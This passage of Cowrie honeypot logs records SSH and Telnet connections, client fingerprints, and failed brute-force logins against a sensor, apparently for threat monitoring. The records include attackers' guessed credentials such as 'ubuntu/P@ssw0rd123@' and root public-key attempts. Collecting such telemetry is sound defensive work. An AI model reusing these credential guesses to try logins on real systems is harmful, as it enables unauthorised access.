sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:07.174160Z","src_ip":"187.230.120.231","session":"713008e38b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd123@","message":"login attempt [ubuntu/P@ssw0rd123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:07.645685Z","src_ip":"187.230.120.231","session":"713008e38b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40796,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6bc0a19fe89","protocol":"telnet","message":"New connection: 147.182.143.59:40796 (159.203.135.109:23) [session: d6bc0a19fe89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:08.052012Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38862,"dst_ip":"10.17.0.5","dst_port":23,"session":"55d30580e567","protocol":"telnet","message":"New connection: 45.58.127.90:38862 (10.17.0.5:23) [session: 55d30580e567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:08.373335Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:08.762758Z","src_ip":"187.230.120.231","session":"713008e38b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40812,"dst_ip":"159.203.135.109","dst_port":23,"session":"62cd04d4c54b","protocol":"telnet","message":"New connection: 147.182.143.59:40812 (159.203.135.109:23) [session: 62cd04d4c54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:12.210343Z"}
{"eventid":"cowrie.session.closed","duration":6.831569671630859,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:14.883453Z","src_ip":"147.182.143.59","session":"d6bc0a19fe89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60508,"dst_ip":"10.17.0.5","dst_port":23,"session":"1537eded3821","protocol":"telnet","message":"New connection: 45.58.127.90:60508 (10.17.0.5:23) [session: 1537eded3821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:22.297470Z"}
{"eventid":"cowrie.session.closed","duration":34.31472992897034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:23.741315Z","src_ip":"45.58.127.90","session":"07c9c1a11c64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.658164739608765,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:32.592823Z","src_ip":"45.58.127.90","session":"fa9126da4e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.08970022201538,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:47.462904Z","src_ip":"45.58.127.90","session":"55d30580e567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60422,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b514e002bf","protocol":"telnet","message":"New connection: 45.58.127.90:60422 (10.17.0.5:23) [session: c8b514e002bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:51.098701Z"}
{"eventid":"cowrie.session.closed","duration":30.775347471237183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:53.072546Z","src_ip":"45.58.127.90","session":"1537eded3821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2788336277008057,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:54.377438Z","src_ip":"45.58.127.90","session":"c8b514e002bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53408,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba567334780","protocol":"telnet","message":"New connection: 45.58.127.90:53408 (10.17.0.5:23) [session: 9ba567334780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:37:55.157857Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.146","src_port":35862,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e66baa008c","protocol":"ssh","message":"New connection: 148.153.121.146:35862 (10.17.0.5:22) [session: c4e66baa008c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.400398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.405281Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.447978Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57178,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a05cdd86c4","protocol":"telnet","message":"New connection: 45.58.127.90:57178 (10.17.0.5:23) [session: c0a05cdd86c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.613574Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:52:e7:93:56:3b:cf:09:e3:fb:4d:a1:b1:47:2d:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+sTt6t9kAjSmmT49Fxq8MnMY9SwyV6GukNgs9g5YN+JUVNTqvTEQTPHBl71KjlNXKG832otsQJbTGXBZJrk48Gv1LREhVFeirnLN5+NJNF1IZJbTRTbDQ1ePcHW3uw1oHktGbQTAcCs0DI/eV3Adnih+K08t8odPUq56EwzcGGK9wiqWmphpdUnNVRDAHbQ1ulySOPPT3l5rZiMN+/ucau4ygVv6BlG2enJbWHRvX7tELkMiSccLyo7cLte9MIQZOqQ2ELcthDfg1YWnQrhX/83mDtlQc8X5dNBEK1/QqNMwo5aIWJjzrSgSXkCEAEqVHdwsWHnAxwrrvV2wH4IXn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:52:e7:93:56:3b:cf:09:e3:fb:4d:a1:b1:47:2d:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.642789Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:52:e7:93:56:3b:cf:09:e3:fb:4d:a1:b1:47:2d:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+sTt6t9kAjSmmT49Fxq8MnMY9SwyV6GukNgs9g5YN+JUVNTqvTEQTPHBl71KjlNXKG832otsQJbTGXBZJrk48Gv1LREhVFeirnLN5+NJNF1IZJbTRTbDQ1ePcHW3uw1oHktGbQTAcCs0DI/eV3Adnih+K08t8odPUq56EwzcGGK9wiqWmphpdUnNVRDAHbQ1ulySOPPT3l5rZiMN+/ucau4ygVv6BlG2enJbWHRvX7tELkMiSccLyo7cLte9MIQZOqQ2ELcthDfg1YWnQrhX/83mDtlQc8X5dNBEK1/QqNMwo5aIWJjzrSgSXkCEAEqVHdwsWHnAxwrrvV2wH4IXn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.648313Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:6c:ef:da:5a:8c:6a:d3:c8:2e:22:3b:22:77:14:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDzoWurrYRqtAOFjNfiCCfwuJG3NNBSmIp0q22DZ0s/2EZLSO+i1xf1mqZC0k2CcOtcSj38f6unQ6zApCX6AFtBPqiSpsX5LCii1AeryoyHLFsJ5KUzp8a4lD5wFo4sqGIczecRlCcYF+n+EQ1SZ/thipiJOoISfo2tnnsYbfllNFV8/g8SKB7fBgWExR6gw/1b2S5CRB9xwZ2bwsEkNxws3/8Rz/zkGOlVvMEaQ0BayeyrjpnqsI1xxbwp8M9rzODQM/gT65scwzJvoPL0zommiqhTs8roKuxTwtkxjS/Gj2yV6RN/PDnriSZFI4C6tOgHODdORkfUpAmdNTEKVQFKm7Wc1uSPBQmMrjf+YJI9G1ed2QxyVQ3CoYT5OEz0BidaFRP282Aepl7Faqa6sQVGlP63TmtlVrqdGVo6p7pDOp1Aa/Kl97+FHywl6pmQp1YoBXDbh8Ri/m+9/n0ye0WAVjI+qRo31x5aYSH8zrtD0+15tRKsbn5jPuee3OFudK8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:6c:ef:da:5a:8c:6a:d3:c8:2e:22:3b:22:77:14:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.692978Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:6c:ef:da:5a:8c:6a:d3:c8:2e:22:3b:22:77:14:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDzoWurrYRqtAOFjNfiCCfwuJG3NNBSmIp0q22DZ0s/2EZLSO+i1xf1mqZC0k2CcOtcSj38f6unQ6zApCX6AFtBPqiSpsX5LCii1AeryoyHLFsJ5KUzp8a4lD5wFo4sqGIczecRlCcYF+n+EQ1SZ/thipiJOoISfo2tnnsYbfllNFV8/g8SKB7fBgWExR6gw/1b2S5CRB9xwZ2bwsEkNxws3/8Rz/zkGOlVvMEaQ0BayeyrjpnqsI1xxbwp8M9rzODQM/gT65scwzJvoPL0zommiqhTs8roKuxTwtkxjS/Gj2yV6RN/PDnriSZFI4C6tOgHODdORkfUpAmdNTEKVQFKm7Wc1uSPBQmMrjf+YJI9G1ed2QxyVQ3CoYT5OEz0BidaFRP282Aepl7Faqa6sQVGlP63TmtlVrqdGVo6p7pDOp1Aa/Kl97+FHywl6pmQp1YoBXDbh8Ri/m+9/n0ye0WAVjI+qRo31x5aYSH8zrtD0+15tRKsbn5jPuee3OFudK8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.696628Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:73:5d:c9:2f:56:55:c7:c3:06:61:d9:1d:be:ef:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZlVGGlHH1wbHissfIBHUSGM73BWe0Ke4ZPQfrW/DQSfArix0U8La0vfgjwmrAHJC3wRrx1v8PgzgV3ExW2NjcVFLNZpbWQ8NHRZ8m07y1HFxZX19LESm01lJl6X2v/J589B7JI3bH29XNPfqMiGv4FQn7GYouE9w41tQ5C0HFPu253qSfTrPRlJJuVcIHWsL5vdEqfeYVzTeKpOwC6JRvd7cCIV5iEjsbVpHoD1UYPSMquHzxYy6hrhe4rza15Q4k3+5q/zPZoGMT20it5XKizPsDvN4tvLKjaemKMUAwChQSdg+IEgYz5i9p/xf+JcPzb3HkvUkKrIm8WVnoObzd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:73:5d:c9:2f:56:55:c7:c3:06:61:d9:1d:be:ef:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.740366Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:73:5d:c9:2f:56:55:c7:c3:06:61:d9:1d:be:ef:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZlVGGlHH1wbHissfIBHUSGM73BWe0Ke4ZPQfrW/DQSfArix0U8La0vfgjwmrAHJC3wRrx1v8PgzgV3ExW2NjcVFLNZpbWQ8NHRZ8m07y1HFxZX19LESm01lJl6X2v/J589B7JI3bH29XNPfqMiGv4FQn7GYouE9w41tQ5C0HFPu253qSfTrPRlJJuVcIHWsL5vdEqfeYVzTeKpOwC6JRvd7cCIV5iEjsbVpHoD1UYPSMquHzxYy6hrhe4rza15Q4k3+5q/zPZoGMT20it5XKizPsDvN4tvLKjaemKMUAwChQSdg+IEgYz5i9p/xf+JcPzb3HkvUkKrIm8WVnoObzd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.743774Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:30:a0:d0:3b:9f:4c:c3:dd:26:50:99:03:2b:79:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1CWBMBnYvhMt6gClpW7FpfSyDEBJBGbaRxrPcbMn9EdcD6Wvi1ClQsp3chPdhVz/iM/oiSOq2HBEobNTuxFwki0WZKM2s9gKZnN3mC32huZasurVHpST9FwgGORyeGCunow6mlH6V9p73TXr34JjElzqyOkro9CHtWgbFmXbXPxtJn3ymEJJyx8sRn+T6eJPmDXKAVhEfadAR+daWGWoJ3SqDBpyqRh25fD91WEJp/ndpwroIXDdxmPOZpRc/Gi2YU+dOiRX8rwKuX4UjTi+MhY9L0Hoc5f2eYOb+IFGFyeUTucc+pojcLe8jXjWy1h6iizQVpkc8GkK3bCzWDxZb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:30:a0:d0:3b:9f:4c:c3:dd:26:50:99:03:2b:79:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.843766Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:30:a0:d0:3b:9f:4c:c3:dd:26:50:99:03:2b:79:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1CWBMBnYvhMt6gClpW7FpfSyDEBJBGbaRxrPcbMn9EdcD6Wvi1ClQsp3chPdhVz/iM/oiSOq2HBEobNTuxFwki0WZKM2s9gKZnN3mC32huZasurVHpST9FwgGORyeGCunow6mlH6V9p73TXr34JjElzqyOkro9CHtWgbFmXbXPxtJn3ymEJJyx8sRn+T6eJPmDXKAVhEfadAR+daWGWoJ3SqDBpyqRh25fD91WEJp/ndpwroIXDdxmPOZpRc/Gi2YU+dOiRX8rwKuX4UjTi+MhY9L0Hoc5f2eYOb+IFGFyeUTucc+pojcLe8jXjWy1h6iizQVpkc8GkK3bCzWDxZb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.847731Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:3c:a5:30:33:35:dc:79:56:84:7c:a0:cd:76:f7:d2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH/x456FmuaJ3XuDGdTM4vUNqsUQ4o0IFuRSCcddnI+E","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 59:3c:a5:30:33:35:dc:79:56:84:7c:a0:cd:76:f7:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.892460Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:3c:a5:30:33:35:dc:79:56:84:7c:a0:cd:76:f7:d2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH/x456FmuaJ3XuDGdTM4vUNqsUQ4o0IFuRSCcddnI+E","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.896103Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:02.939814Z","src_ip":"148.153.121.146","session":"c4e66baa008c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":38778,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8c9f91c417d","protocol":"ssh","message":"New connection: 187.230.120.231:38778 (10.17.0.5:22) [session: f8c9f91c417d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:04.961629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:04.967457Z","src_ip":"187.230.120.231","session":"f8c9f91c417d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:05.065059Z","src_ip":"187.230.120.231","session":"f8c9f91c417d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testemail","password":"testemail","message":"login attempt [testemail/testemail] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:05.474545Z","src_ip":"187.230.120.231","session":"f8c9f91c417d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:06.570293Z","src_ip":"187.230.120.231","session":"f8c9f91c417d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57188,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf4f64e830b","protocol":"telnet","message":"New connection: 45.58.127.90:57188 (10.17.0.5:23) [session: fdf4f64e830b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:08.853454Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58322,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dae3a70895a","protocol":"telnet","message":"New connection: 147.182.143.59:58322 (159.203.135.109:23) [session: 2dae3a70895a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:10.473951Z"}
{"eventid":"cowrie.session.closed","duration":60.4356586933136,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:12.645883Z","src_ip":"147.182.143.59","session":"62cd04d4c54b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50398,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11d621ba90a","protocol":"telnet","message":"New connection: 45.58.127.90:50398 (10.17.0.5:23) [session: d11d621ba90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:12.650144Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":50410,"dst_ip":"10.17.0.5","dst_port":23,"session":"555f88c63cef","protocol":"telnet","message":"New connection: 45.58.127.90:50410 (10.17.0.5:23) [session: 555f88c63cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:14.870873Z"}
{"eventid":"cowrie.session.closed","duration":11.125523805618286,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:21.599350Z","src_ip":"147.182.143.59","session":"2dae3a70895a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.91662573814392,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:33.074368Z","src_ip":"45.58.127.90","session":"9ba567334780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55670,"dst_ip":"10.17.0.5","dst_port":23,"session":"42e6375fa9ee","protocol":"telnet","message":"New connection: 45.58.127.90:55670 (10.17.0.5:23) [session: 42e6375fa9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:34.516819Z"}
{"eventid":"cowrie.session.closed","duration":37.79414343833923,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:40.407591Z","src_ip":"45.58.127.90","session":"c0a05cdd86c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44148,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa217b1553a","protocol":"telnet","message":"New connection: 147.182.143.59:44148 (159.203.135.109:23) [session: 4fa217b1553a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:42.745651Z"}
{"eventid":"cowrie.session.closed","duration":39.65125584602356,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:48.504600Z","src_ip":"45.58.127.90","session":"fdf4f64e830b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.47800660133362,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:38:50.128067Z","src_ip":"45.58.127.90","session":"d11d621ba90a","protocol":"telnet"}
